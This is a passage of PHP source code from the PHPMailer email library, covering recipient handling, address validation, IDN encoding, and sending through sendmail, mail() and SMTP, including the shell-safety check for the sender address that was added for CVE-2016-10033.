     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
